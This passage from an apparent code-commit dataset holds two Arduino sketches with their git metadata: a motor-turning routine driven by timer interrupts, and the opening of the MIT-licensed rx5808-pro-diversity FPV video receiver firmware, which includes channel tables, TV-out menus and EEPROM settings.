367\n\nMotorShield md;\n\nvolatile int direction;\nvolatile int delta;\nvolatile int rightMCtr, leftMCtr;\nvolatile long timer;\n\nvoid setup() {\n pinMode(motor_R, INPUT);\n pinMode(motor_L, INPUT);\n Serial.begin(9600);\n}\nvoid loop() {\n turn();\n}\n\nvoid turn() {\n direction = 1;\n delta = 0;\n timer = 0;\n rightMCtr = leftMCtr = 367;\n\n setTimerInterrupt();\n attachInterrupt(1, countRight, RISING);\n\n \/\/sp.setSpeedLvls(3, 3);\n md.init();\n md.setSpeeds(-200 * direction, 200 * direction);\n while (--leftMCtr) {\n while (digitalRead(motor_L));\n while (!digitalRead(motor_L));\n \/\/wait for one cycle\n }\n\n detachTimerInterrupt();\n detachInterrupt(1);\n\n md.brakeWithABS();\n Serial.println(delta);\n Serial.println(timer);\n delay(3000);\n}\n\nvoid countRight() {\n --rightMCtr;\n delta = rightMCtr - leftMCtr;\n}\n\nvoid setTimerInterrupt() {\n cli(); \/\/ disable global interrupts\n \/\/ Timer\/Counter Control Registers\n TCCR1A = 0; \/\/ set entire TCCR1A register to 0\n TCCR1B = 0; \/\/ same for TCCR1B\n\n \/\/ set compare match register to desired timer count:\n OCR1A = 1562; \/\/ scale = 1024, OCR1A = (xxx \/ 64 \/ 1024)\n\n \/\/ turn on CTC mode:\n TCCR1B |= (1 << WGM12);\n \/\/ Set CS10 and CS12 bits for 1024 prescaler:\n TCCR1B |= (1 << CS10);\n TCCR1B |= (1 << CS12);\n\n \/\/ enable timer compare interrupt:\n \/\/ Timer\/Counter Interrupt Mask Register\n \/\/ Compare A&B interrupts \n TIMSK1 |= (1 << OCIE1A);\n sei(); \/\/ enable global interrupts\n}\nvoid detachTimerInterrupt() {\n cli();\n TIMSK1 &= 0; \/\/ disable\n sei();\n}\nISR(TIMER1_COMPA_vect) {\n md.setM2Speed((200 - delta*5) * direction);\n ++timer;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'motor\/src\/sketch_forTurning.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"91bdbfd978aaa79a2e364b239cb548392709ccce","subject":"Initial code commit from https:\/\/code.google.com\/p\/rx5808-pro\/.","message":"Initial code commit from https:\/\/code.google.com\/p\/rx5808-pro\/.\n","repos":"RCDaddy\/rx5808-pro-diversity,RCDaddy\/rx5808-pro-diversity,Snebajer1\/FPV-receiver-diversity-hack,Snebajer1\/FPV-receiver-diversity-hack,sheaivey\/rx5808-pro-diversity,sheaivey\/rx5808-pro-diversity","old_file":"src\/rx5808-pro-diversity\/rx5808-pro-diversity.ino","new_file":"src\/rx5808-pro-diversity\/rx5808-pro-diversity.ino","new_contents":"\/*\n * SPI driver based on fs_skyrf_58g-main.c Written by Simon Chambers\n * TVOUT by Myles Metzel\n * Scanner by Johan Hermen\n * Inital 2 Button version by Peter (pete1990)\n * Refactored and GUI reworked by Marko Hoepken\n * Universal version my Marko Hoepken\n\nThe MIT License (MIT)\n\nCopyright (c) 2015 Marko Hoepken\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n#include <TVout.h>\n#include <fontALL.h>\n#include <avr\/pgmspace.h>\n#include <EEPROM.h>\n\n#include <PinChangeInt.h>\n\/\/#include <PinChangeIntConfig.h>\n\n\n#define spiDataPin 10\n#define slaveSelectPin 11\n#define spiClockPin 12\n#define rssiPin A6\n\/\/ this two are minimum required\n#define buttonSeek 2\n#define buttonMode 3\n\/\/ optional comfort buttons\n#define buttonDown 4\n#define buttonSave 5\n\/\/ Buzzer\n#define buzzer 6\n\/\/ pins for DIP switch\n#define dip_ch0 A0\n#define dip_ch1 A1\n#define dip_ch2 A2\n#define dip_band0 A3\n#define dip_band1 A4\n#define dip_enable A5\n\n\/\/ genlock vsync input\n#define vsync_in 13\n#define hsync_in 8\n\/\/ key debounce delay in ms\n\/\/ NOTE: good values are in the range of 100-200ms\n\/\/ shorter values will make it more reactive, but may lead to double trigger\n#define KEY_DEBOUNCE 200\n\n\/\/ Set you TV format (PAL = Europe = 50Hz, NTSC = INT = 60Hz)\n\/\/#define TV_FORMAT NTSC\n#define TV_FORMAT PAL\n\n#define led 13\n\/\/ RSSI default raw range\n#define RSSI_MIN_VAL 90\n#define RSSI_MAX_VAL 300\n\/\/ 75% threshold, when channel is printed in spectrum\n#define RSSI_SEEK_FOUND 75\n\/\/ 80% under max value for RSSI\n#define RSSI_SEEK_TRESHOLD 80\n\/\/ scan loops for setup run\n#define RSSI_SETUP_RUN 10\n\n#define STATE_SEEK_FOUND 0\n#define STATE_SEEK 1\n#define STATE_SCAN 2\n#define STATE_MANUAL 3\n#define STATE_SWITCH 4\n#define STATE_SAVE 5\n#define STATE_RSSI_SETUP 6\n\n#define START_STATE STATE_SEEK\n#define MAX_STATE STATE_MANUAL\n\n#define CHANNEL_BAND_SIZE 8\n#define CHANNEL_MIN_INDEX 0\n#define CHANNEL_MAX_INDEX 31\n\n#define CHANNEL_MAX 31\n#define CHANNEL_MIN 0\n\n#define TV_COLS 128\n#define TV_ROWS 96\n#define TV_Y_MAX TV_ROWS-1\n#define TV_X_MAX TV_COLS-1\n#define TV_SCANNER_OFFSET 14\n#define SCANNER_BAR_SIZE 52\n#define SCANNER_LIST_X_POS 4\n#define SCANNER_LIST_Y_POS 16\n#define SCANNER_MARKER_SIZE 2\n\n#define EEPROM_ADR_STATE 0\n#define EEPROM_ADR_TUNE 1\n#define EEPROM_ADR_RSSI_MIN_L 2\n#define EEPROM_ADR_RSSI_MIN_H 3\n#define EEPROM_ADR_RSSI_MAX_L 4\n#define EEPROM_ADR_RSSI_MAX_H 5\n\/\/#define DEBUG\n\n\/\/ Channels to sent to the SPI registers\nconst uint16_t channelTable[] PROGMEM = {\n \/\/ Channel 1 - 8\n 0x2A05, 0x299B, 0x2991, 0x2987, 0x291D, 0x2913, 0x2909, 0x289F, \/\/ Band A\n 0x2903, 0x290C, 0x2916, 0x291F, 0x2989, 0x2992, 0x299C, 0x2A05, \/\/ Band B\n 0x2895, 0x288B, 0x2881, 0x2817, 0x2A0F, 0x2A19, 0x2A83, 0x2A8D, \/\/ Band E\n 0x2906, 0x2910, 0x291A, 0x2984, 0x298E, 0x2998, 0x2A02, 0x2A0C \/\/ Band F \/ Airwave\n};\n\n\/\/ Channels with their Mhz Values\nconst uint16_t channelFreqTable[] PROGMEM = {\n \/\/ Channel 1 - 8\n 5865, 5845, 5825, 5805, 5785, 5765, 5745, 5725, \/\/ Band A\n 5733, 5752, 5771, 5790, 5809, 5828, 5847, 5866, \/\/ Band B\n 5705, 5685, 5665, 5645, 5885, 5905, 5925, 5945, \/\/ Band E\n 5740, 5760, 5780, 5800, 5820, 5840, 5860, 5880 \/\/ Band F \/ Airwave\n};\n\n\/\/ do coding as simple hex value to save memory.\nconst uint8_t channelNames[] PROGMEM = {\n 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8,\n 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8,\n 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8,\n 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8\n};\n\n\/\/ All Channels of the above List ordered by Mhz\nconst uint8_t channelList[] PROGMEM = {\n 19, 18, 17, 16, 7, 8, 24, 6, 9, 25, 5, 10, 26, 4, 11, 27, 3, 12, 28, 2, 13, 29, 1, 14, 30, 0, 15, 31, 20, 21, 22, 23\n};\n\nuint8_t channel = 0;\nuint8_t channelIndex = 0;\nuint8_t rssi = 0;\nuint8_t rssi_scaled = 0;\nuint8_t hight = 0;\nuint8_t state = START_STATE;\nuint8_t state_last_used=START_STATE;\nuint8_t last_state= START_STATE+1; \/\/ force screen draw\nuint8_t writePos = 0;\nuint8_t switch_count = 0;\nuint8_t man_channel = 0;\nuint8_t last_channel_index = 0;\nuint8_t force_seek=0;\nunsigned long time_of_tune = 0; \/\/ will store last time when tuner was changed\nuint8_t last_maker_pos=0;\nuint8_t last_active_channel=0;\nuint8_t first_channel_marker=1;\nuint8_t update_frequency_view=0;\nuint8_t seek_found=0;\nuint8_t last_dip_channel=255;\nuint8_t last_dip_band=255;\nuint8_t scan_start=0;\nuint8_t first_tune=1;\nuint8_t force_menu_redraw=0;\nuint16_t rssi_min=0;\nuint16_t rssi_max=0;\nuint16_t rssi_setup_min=0;\nuint16_t rssi_setup_max=0;\nuint16_t rssi_seek_found=0;\nuint16_t rssi_setup_run=0;\n\n\/\/ genlock hander\n#define GENLOCK_DLY 0\n\nuint8_t genlock_dly = GENLOCK_DLY;\n\nTVout TV;\n\n\n\/\/ SETUP ----------------------------------------------------------------------------\nvoid setup()\n{\n\n \/\/ IO INIT\n \/\/ initialize digital pin 13 LED as an output.\n pinMode(led, OUTPUT); \/\/ status pin for TV mode errors\n \/\/ buzzer\n pinMode(buzzer, OUTPUT); \/\/ Feedback buzzer (active buzzer, not passive piezo)\n digitalWrite(buzzer, HIGH);\n \/\/ minimum control pins\n pinMode(buttonSeek, INPUT);\n digitalWrite(buttonSeek, INPUT_PULLUP);\n pinMode(buttonMode, INPUT);\n digitalWrite(buttonMode, INPUT_PULLUP);\n \/\/ optional control\n pinMode(buttonDown, INPUT);\n digitalWrite(buttonDown, INPUT_PULLUP);\n pinMode(buttonSave, INPUT);\n digitalWrite(buttonSave, INPUT_PULLUP);\n \/\/ dip switches\n pinMode(dip_ch0, INPUT);\n digitalWrite(dip_ch0, INPUT_PULLUP);\n pinMode(dip_ch1, INPUT);\n digitalWrite(dip_ch1, INPUT_PULLUP);\n pinMode(dip_ch2, INPUT);\n digitalWrite(dip_ch2, INPUT_PULLUP);\n pinMode(dip_band0, INPUT);\n digitalWrite(dip_band0, INPUT_PULLUP);\n pinMode(dip_band1, INPUT);\n digitalWrite(dip_band1, INPUT_PULLUP);\n pinMode(dip_enable, INPUT);\n digitalWrite(dip_enable, INPUT_PULLUP);\n#ifdef DEBUG\n Serial.begin(115200);\n Serial.println(F(\"START:\"));\n#endif\n \/\/ SPI pins for RX control\n pinMode (slaveSelectPin, OUTPUT);\n pinMode (spiDataPin, OUTPUT);\n\tpinMode (spiClockPin, OUTPUT);\n \/\/ genlock input\n pinMode(vsync_in, INPUT);\n pinMode(hsync_in, INPUT);\n\n \/\/ tune to first channel\n\n\n \/\/ init TV system\n char retVal = TV.begin(TV_FORMAT, TV_COLS, TV_ROWS);\n \/\/ 0 if no error.\n \/\/ 1 if x is not divisable by 8.\n \/\/ 2 if y is to large (NTSC only cannot fill PAL vertical resolution by 8bit limit)\n \/\/ 4 if there is not enough memory for the frame buffer.\n if (retVal > 0) {\n \/\/ on Error flicker LED\n while (true) { \/\/ stay in ERROR for ever\n digitalWrite(led, !digitalRead(led));\n delay(100);\n }\n }\n \/\/ init overlay\n\n \/\/initOverlay();\n\n TV.select_font(font4x6);\n \/\/ setup Genlock\n \/\/PCintPort::attachInterrupt(vsync_in,genlock ,RISING); \/\/ attach a PinChange Interrupt to our pin on the rising edge\n\n \/\/PCintPort::attachInterrupt(vsync_in,genlock ,FALLING); \/\/ attach a PinChange Interrupt to our pin on the rising edge\n\n \/\/PCintPort::attachInterrupt(vsync_in,genlock ,FALLING); \/\/ attach a PinChange Interrupt to our pin on the rising edge\n\n \/\/ hsync\n PCintPort::attachInterrupt(vsync_in,display.vsync_handle ,FALLING); \/\/ attach a PinChange Interrupt to our pin on the rising edge\n\n\n genlock_dly=GENLOCK_DLY;\n\n \/\/ Setup Done - LED ON\n digitalWrite(13, HIGH);\n\n \/\/ use values only of EEprom is not 255 = unsaved\n uint8_t eeprom_check = EEPROM.read(EEPROM_ADR_STATE);\n if(eeprom_check == 255) \/\/ unused\n {\n EEPROM.write(EEPROM_ADR_STATE,START_STATE);\n EEPROM.write(EEPROM_ADR_TUNE,CHANNEL_MIN_INDEX);\n \/\/ save 16 bit\n EEPROM.write(EEPROM_ADR_RSSI_MIN_L,lowByte(RSSI_MIN_VAL));\n EEPROM.write(EEPROM_ADR_RSSI_MIN_H,highByte(RSSI_MIN_VAL));\n \/\/ save 16 bit\n EEPROM.write(EEPROM_ADR_RSSI_MAX_L,lowByte(RSSI_MAX_VAL));\n EEPROM.write(EEPROM_ADR_RSSI_MAX_H,highByte(RSSI_MAX_VAL));\n }\n \/\/ debug reset EEPROM\n \/\/EEPROM.write(EEPROM_ADR_STATE,255);\n\n \/\/ read last setting from eeprom\n state=EEPROM.read(EEPROM_ADR_STATE);\n channelIndex=EEPROM.read(EEPROM_ADR_TUNE);\n rssi_min=((EEPROM.read(EEPROM_ADR_RSSI_MIN_H)<<8) | (EEPROM.read(EEPROM_ADR_RSSI_MIN_L)));\n rssi_max=((EEPROM.read(EEPROM_ADR_RSSI_MAX_H)<<8) | (EEPROM.read(EEPROM_ADR_RSSI_MAX_L)));\n force_menu_redraw=1;\n}\n\n\/\/ genlock ISR\nvoid genlock()\n{\ndisplay.scanLine = 0;\n \/\/uint8_t sreg = SREG;\n#if 0\n if(genlock_dly)\n {\n genlock_dly--;\n }\n else\n {\n genlock_dly=GENLOCK_DLY;\n }\n \/\/SREG=sreg;\n#endif\n}\n\n#if 0\n ISR (PCINT0_vect) \/\/ handle pin change interrupt for D8 to D13 here\n {\n \/\/digitalWrite(13,digitalRead(8) and digitalRead(9));\n digitalWrite(led, !digitalRead(led));\n display.scanLine = 0;\n }\n #endif\n\/\/ interup setup for input pin\nvoid pciSetup(byte pin)\n{\n *digitalPinToPCMSK(pin) |= bit (digitalPinToPCMSKbit(pin)); \/\/ enable pin\n PCIFR |= bit (digitalPinToPCICRbit(pin)); \/\/ clear any outstanding interrupt\n PCICR |= bit (digitalPinToPCICRbit(pin)); \/\/ enable interrupt for the group\n}\n\n \/\/ Initialize ATMega registers for video overlay capability.\n\/\/ Must be called after tv.begin().\nvoid initOverlay() {\n \/\/ disable timer for free running video\n TCCR1A = 0;\n \/\/ Enable timer1. ICES0 is set to 0 for falling edge detection on input capture pin.\n \/\/ get hsync to state machine\n TCCR1B = _BV(CS10);\n\n \/\/pciSetup(8);\n\n\n \/\/ Enable input capture interrupt\n TIMSK1 |= _BV(ICIE1);\n\n \/\/ Enable external interrupt INT0 on pin 2 with falling edge.\n \/\/EIMSK = _BV(INT0); \/\/ enable interrupt\n \/\/EICRA = _BV(ISC11); \/\/ Falling edge int0\n}\n\n\n\n\n\/\/ LOOP ----------------------------------------------------------------------------\nvoid loop()\n{\n \/*******************\/\n \/* Mode Select *\/\n \/*******************\/\n state_last_used=state; \/\/ save save settings\n if (digitalRead(buttonMode) == LOW) \/\/ key pressed ?\n {\n beep(50); \/\/ beep & debounce\n delay(KEY_DEBOUNCE\/2); \/\/ debounce\n beep(50); \/\/ beep & debounce\n delay(KEY_DEBOUNCE\/2); \/\/ debounce\n \/\/ on entry wait for release\n while(digitalRead(buttonMode) == LOW)\n {\n \/\/ wait for MODE release\n }\n #define MAX_MENU 4\n #define MENU_Y_SIZE 15\n\n uint8_t menu_id=0;\n \/\/ Show Mode Screen\n if(state==STATE_SEEK_FOUND)\n {\n state=STATE_SEEK;\n }\n uint8_t in_menu=1;\n uint8_t in_menu_time_out=10; \/\/ 10x 200ms = 2 seconds\n \/*\n Enter Mode menu\n Show current mode\n Change mode by MODE key\n Any Mode will refresh screen\n If not MODE changes in 2 seconds, it uses last selected mode\n *\/\n do\n {\n TV.clear_screen();\n \/\/ simple menu\n TV.select_font(font8x8);\n TV.draw_rect(0,0,127,95, WHITE);\n TV.draw_line(0,14,127,14,WHITE);\n TV.printPGM(10, 3, PSTR(\"MODE SELECTION\"));\n TV.printPGM(10, 5+1*MENU_Y_SIZE, PSTR(\"Auto Search\"));\n TV.printPGM(10, 5+2*MENU_Y_SIZE, PSTR(\"Band Scanner\"));\n TV.printPGM(10, 5+3*MENU_Y_SIZE, PSTR(\"Manual Mode\"));\n TV.printPGM(10, 5+4*MENU_Y_SIZE, PSTR(\"Switch Mode\"));\n TV.printPGM(10, 5+5*MENU_Y_SIZE, PSTR(\"Save Setup\"));\n \/\/ selection by inverted box\n switch (menu_id)\n {\n case 0: \/\/ auto search\n TV.draw_rect(8,3+1*MENU_Y_SIZE,100,12, WHITE, INVERT);\n state=STATE_SEEK;\n force_seek=1;\n seek_found=0;\n break;\n case 1: \/\/ Band Scanner\n TV.draw_rect(8,3+2*MENU_Y_SIZE,100,12, WHITE, INVERT);\n state=STATE_SCAN;\n scan_start=1;\n break;\n case 2: \/\/ manual mode\n TV.draw_rect(8,3+3*MENU_Y_SIZE,100,12, WHITE, INVERT);\n state=STATE_MANUAL;\n break;\n case 3: \/\/ DIP mode\n TV.draw_rect(8,3+4*MENU_Y_SIZE,100,12, WHITE, INVERT);\n state=STATE_SWITCH;\n last_dip_channel=255; \/\/ force update\n break;\n case 4: \/\/ Save settings\n TV.draw_rect(8,3+5*MENU_Y_SIZE,100,12, WHITE, INVERT);\n state=STATE_SAVE;\n break;\n } \/\/ end switch\n\n\n\n while(digitalRead(buttonMode) == LOW)\n {\n \/\/ wait for MODE release\n in_menu_time_out=10;\n }\n while(--in_menu_time_out && (digitalRead(buttonMode) == HIGH)) \/\/ wait for next mode or time out\n {\n delay(200); \/\/ timeout delay\n }\n if(in_menu_time_out==0)\n {\n in_menu=0; \/\/ EXIT\n beep(KEY_DEBOUNCE\/2); \/\/ beep & debounce\n delay(50); \/\/ debounce\n beep(KEY_DEBOUNCE\/2); \/\/ beep & debounce\n delay(50); \/\/ debounce\n }\n else \/\/ no timeout, must be keypressed\n {\n in_menu_time_out=10;\n beep(50); \/\/ beep & debounce\n delay(KEY_DEBOUNCE); \/\/ debounce\n \/*********************\/\n \/* Menu handler *\/\n \/*********************\/\n if (menu_id < MAX_MENU)\n {\n menu_id++; \/\/ next state\n }\n else\n {\n menu_id = 0;\n }\n }\n } while(in_menu);\n last_state=255; \/\/ force redraw of current screen\n switch_count = 0;\n \/\/ clean line?\n TV.print(TV_COLS\/2, (TV_ROWS\/2), \" \");\n }\n else \/\/ key pressed\n { \/\/ reset debounce\n switch_count = 0;\n }\n \/***********************\/\n \/* Static SWITCH MODE *\/\n \/***********************\/\n \/\/ set to SWITCH mode if SWITCH_ENABLE is low (no interactive mode)\n if(digitalRead(dip_enable) == LOW)\n {\n state=STATE_SWITCH;\n }\n \/***********************\/\n \/* Save buttom *\/\n \/***********************\/\n \/\/ hardware save buttom support (if no display is used)\n if(digitalRead(buttonSave) == LOW)\n {\n \/\/state=STATE_SAVE;\n \/\/ DEBUG DEBUG\n TV.video_clock(CLOCK_EXTERN);\n }\n else\n {\n TV.video_clock(CLOCK_INTERN);\n }\n \/***************************************\/\n \/* Draw screen if mode has changed *\/\n \/***************************************\/\n if(force_menu_redraw || state != last_state)\n {\n force_menu_redraw=0;\n \/************************\/\n \/* Main screen draw *\/\n \/************************\/\n \/\/ changed state, clear an draw new screen\n TV.clear_screen();\n \/\/ simple menu\n #define TV_Y_GRID 14\n #define TV_Y_OFFSET 3\n switch (state)\n {\n case STATE_SCAN: \/\/ Band Scanner\n case STATE_RSSI_SETUP: \/\/ RSSI setup\n TV.select_font(font8x8);\n TV.draw_rect(0,0,TV_X_MAX,1*TV_Y_GRID, WHITE); \/\/ upper frame\n if(state==STATE_SCAN)\n {\n TV.printPGM(10, TV_Y_OFFSET, PSTR(\" BAND SCANNER\"));\n }\n else\n {\n TV.printPGM(10, TV_Y_OFFSET, PSTR(\" RSSI SETUP \"));\n TV.select_font(font4x6);\n TV.print(10, SCANNER_LIST_Y_POS, \"RSSI Min: RSSI Max: \");\n \/\/ prepare new setup\n rssi_min=0;\n rssi_max=400; \/\/ set to max range\n rssi_setup_min=400;\n rssi_setup_max=0;\n rssi_setup_run=RSSI_SETUP_RUN;\n }\n TV.draw_rect(0,1*TV_Y_GRID,TV_X_MAX,9, WHITE); \/\/ list frame\n TV.draw_rect(0,TV_ROWS - TV_SCANNER_OFFSET,TV_X_MAX,13, WHITE); \/\/ lower frame\n TV.select_font(font4x6);\n TV.print(2, (TV_ROWS - TV_SCANNER_OFFSET + 2), \"5645\");\n TV.print(57, (TV_ROWS - TV_SCANNER_OFFSET + 2), \"5800\");\n TV.print(111, (TV_ROWS - TV_SCANNER_OFFSET + 2), \"5945\");\n \/\/ trigger new scan from begin\n channel=CHANNEL_MIN;\n writePos=SCANNER_LIST_X_POS; \/\/ reset channel list\n channelIndex = pgm_read_byte_near(channelList + channel);\n scan_start=1;\n break;\n case STATE_MANUAL: \/\/ manual mode\n case STATE_SEEK: \/\/ seek mode\n case STATE_SWITCH: \/\/ SWITCH mode\n TV.select_font(font8x8);\n TV.draw_rect(0,0,TV_X_MAX,TV_Y_MAX, WHITE); \/\/ outer frame\n if (state == STATE_MANUAL)\n {\n TV.printPGM(10, TV_Y_OFFSET, PSTR(\" MANUAL MODE\"));\n }\n else if(state == STATE_SEEK)\n {\n TV.printPGM(10, TV_Y_OFFSET, PSTR(\"AUTO MODE SEEK\"));\n }\n else if(state == STATE_SWITCH)\n {\n TV.printPGM(10, TV_Y_OFFSET, PSTR(\" SWITCH MODE \"));\n }\n TV.draw_line(0,1*TV_Y_GRID,TV_X_MAX,1*TV_Y_GRID,WHITE);\n TV.printPGM(5,TV_Y_OFFSET+1*TV_Y_GRID, PSTR(\"BAND: \"));\n TV.draw_line(0,2*TV_Y_GRID,TV_X_MAX,2*TV_Y_GRID,WHITE);\n TV.printPGM(5 ,TV_Y_OFFSET-1+2*TV_Y_GRID, PSTR(\"1 2 3 4 5 6 7 8\"));\n TV.draw_line(0,3*TV_Y_GRID,TV_X_MAX,3*TV_Y_GRID,WHITE);\n TV.printPGM(5,TV_Y_OFFSET+3*TV_Y_GRID, PSTR(\"FREQ: GHz\"));\n TV.draw_line(0,4*TV_Y_GRID,TV_X_MAX,4*TV_Y_GRID,WHITE);\n TV.select_font(font4x6);\n TV.printPGM(5,TV_Y_OFFSET+4*TV_Y_GRID, PSTR(\"RSSI:\"));\n TV.draw_line(0,5*TV_Y_GRID-4,TV_X_MAX,5*TV_Y_GRID-4,WHITE);\n \/\/ frame for tune graph\n TV.draw_rect(0,TV_ROWS - TV_SCANNER_OFFSET,TV_X_MAX,13, WHITE); \/\/ lower frame\n TV.print(2, (TV_ROWS - TV_SCANNER_OFFSET + 2), \"5645\");\n TV.print(57, (TV_ROWS - TV_SCANNER_OFFSET + 2), \"5800\");\n TV.print(111, (TV_ROWS - TV_SCANNER_OFFSET + 2), \"5945\");\n TV.select_font(font8x8);\n first_channel_marker=1;\n update_frequency_view=1;\n force_seek=1;\n break;\n case STATE_SAVE:\n EEPROM.write(EEPROM_ADR_STATE,state_last_used);\n EEPROM.write(EEPROM_ADR_TUNE,channelIndex);\n TV.select_font(font8x8);\n TV.draw_rect(0,0,127,95, WHITE);\n TV.draw_line(0,14,127,14,WHITE);\n TV.printPGM(10, 3, PSTR(\"SAVE SETTINGS\"));\n TV.printPGM(10, 5+1*MENU_Y_SIZE, PSTR(\"Mode:\"));\n switch (state_last_used)\n {\n case STATE_SCAN: \/\/ Band Scanner\n TV.printPGM(50,5+1*MENU_Y_SIZE, PSTR(\"Scanner\"));\n break;\n case STATE_MANUAL: \/\/ manual mode\n TV.printPGM(50,5+1*MENU_Y_SIZE, PSTR(\"Manual\"));\n break;\n case STATE_SEEK: \/\/ seek mode\n TV.printPGM(50,5+1*MENU_Y_SIZE, PSTR(\"Search\"));\n break;\n case STATE_SWITCH: \/\/ SWITCH mode\n TV.printPGM(50,5+1*MENU_Y_SIZE, PSTR(\"Switch\"));\n break;\n }\n TV.printPGM(10, 5+2*MENU_Y_SIZE, PSTR(\"Band:\"));\n \/\/ print band\n if(channelIndex > 23)\n {\n TV.printPGM(50,5+2*MENU_Y_SIZE, PSTR(\"F\/Airwave\"));\n }\n else if (channelIndex > 15)\n {\n TV.printPGM(50,5+2*MENU_Y_SIZE, PSTR(\"E \"));\n }\n else if (channelIndex > 7)\n {\n TV.printPGM(50,5+2*MENU_Y_SIZE, PSTR(\"B \"));\n }\n else\n {\n TV.printPGM(50,5+2*MENU_Y_SIZE, PSTR(\"A \"));\n }\n TV.printPGM(10, 5+3*MENU_Y_SIZE, PSTR(\"Chan:\"));\n uint8_t active_channel = channelIndex%CHANNEL_BAND_SIZE+1; \/\/ get channel inside band\n TV.print(50,5+3*MENU_Y_SIZE,active_channel,DEC);\n TV.printPGM(10, 5+4*MENU_Y_SIZE, PSTR(\"FREQ: GHz\"));\n TV.print(50,5+4*MENU_Y_SIZE, pgm_read_word_near(channelFreqTable + channelIndex));\n TV.printPGM(10, 5+5*MENU_Y_SIZE, PSTR(\"--- SAVED ---\"));\n uint8_t loop=0;\n for (loop=0;loop<5;loop++)\n {\n beep(100); \/\/ beep\n delay(100);\n }\n delay(1000);\n TV.select_font(font4x6);\n TV.printPGM(10, 14+5*MENU_Y_SIZE, PSTR(\"Hold MODE to enter RSSI setup\"));\n delay(1000);\n delay(1000);\n if (digitalRead(buttonMode) == LOW) \/\/ to RSSI setup\n {\n TV.printPGM(10, 14+5*MENU_Y_SIZE, PSTR(\"ENTERING RSSI SETUP ...... \" ));\n uint8_t loop=0;\n for (loop=0;loop<10;loop++)\n {\n #define RSSI_SETUP_BEEP 25\n beep(RSSI_SETUP_BEEP); \/\/ beep & debounce\n delay(RSSI_SETUP_BEEP); \/\/ debounce\n }\n state=STATE_RSSI_SETUP;\n while(digitalRead(buttonMode) == LOW)\n {\n \/\/ wait for release\n }\n delay(KEY_DEBOUNCE); \/\/ debounce\n }\n else\n {\n TV.printPGM(10, 14+5*MENU_Y_SIZE, PSTR(\" \"));\n delay(1000);\n state=state_last_used; \/\/ return to saved function\n }\n force_menu_redraw=1; \/\/ we change the state twice, must force redraw of menu\n\n \/\/ selection by inverted box\n break;\n } \/\/ end switch\n last_state=state;\n }\n \/*************************************\/\n \/* Processing depending of state *\/\n \/*************************************\/\n\n \/*****************************************\/\n \/* Processing MANUAL MODE \/ SEEK MODE *\/\n \/*****************************************\/\n if(state == STATE_MANUAL || state == STATE_SEEK || state == STATE_SWITCH)\n {\n if(state == STATE_MANUAL) \/\/ MANUAL MODE\n {\n \/\/ handling of keys\n if( digitalRead(buttonSeek) == LOW) \/\/ channel UP\n {\n beep(50); \/\/ beep & debounce\n delay(KEY_DEBOUNCE); \/\/ debounce\n channelIndex++;\n if (channelIndex > CHANNEL_MAX_INDEX)\n {\n channelIndex = CHANNEL_MIN_INDEX;\n }\n update_frequency_view=1;\n }\n if( digitalRead(buttonDown) == LOW) \/\/ channel DOWN\n {\n beep(50); \/\/ beep & debounce\n delay(KEY_DEBOUNCE); \/\/ debounce\n channelIndex--;\n if (channelIndex > CHANNEL_MAX_INDEX) \/\/ negative overflow\n {\n channelIndex = CHANNEL_MAX_INDEX;\n }\n update_frequency_view=1;\n }\n }\n if(state == STATE_SWITCH) \/\/ SWITCH MODE\n {\n \/\/ read band DIP switch (invert since switch pulls to gnd)\n uint8_t dip_band= (((digitalRead(dip_band1)<<1) | digitalRead(dip_band0)) ^0x3);\n \/\/ read channel DIP switch (invert since switch pulls to gnd)\n uint8_t dip_channel = (((digitalRead(dip_ch2)<<2) | ((digitalRead(dip_ch1))<<1) | (digitalRead(dip_ch0))) ^0x7);\n if((dip_band != last_dip_band) || (dip_channel != last_dip_channel)) \/\/ check for changes to avoid unrequred tuning\n {\n last_dip_band=dip_band;\n last_dip_channel=dip_channel;\n \/\/ caclulate index of channel in 4x8 array\n channelIndex=CHANNEL_BAND_SIZE*last_dip_band + last_dip_channel;\n update_frequency_view=1;\n }\n\n }\n \/\/ display refresh handler\n if(update_frequency_view) \/\/ only updated on changes\n {\n \/\/ show current used channel of bank\n if(channelIndex > 23)\n {\n TV.printPGM(50,TV_Y_OFFSET+1*TV_Y_GRID, PSTR(\"F\/Airwave\"));\n }\n else if (channelIndex > 15)\n {\n TV.printPGM(50,TV_Y_OFFSET+1*TV_Y_GRID, PSTR(\"E \"));\n }\n else if (channelIndex > 7)\n {\n TV.printPGM(50,TV_Y_OFFSET+1*TV_Y_GRID, PSTR(\"B \"));\n }\n else\n {\n TV.printPGM(50,TV_Y_OFFSET+1*TV_Y_GRID, PSTR(\"A \"));\n }\n \/\/ show channel inside band\n uint8_t active_channel = channelIndex%CHANNEL_BAND_SIZE; \/\/ get channel inside band\n if(!first_channel_marker)\n {\n \/\/ clear last marker\n TV.draw_rect(last_active_channel*16+2 ,TV_Y_OFFSET-2+2*TV_Y_GRID,12,12, BLACK, INVERT); \/\/ mark current channel\n }\n first_channel_marker=0;\n \/\/ set new marker\n TV.draw_rect(active_channel*16+2 ,TV_Y_OFFSET-2+2*TV_Y_GRID,12,12, WHITE, INVERT); \/\/ mark current channel\n 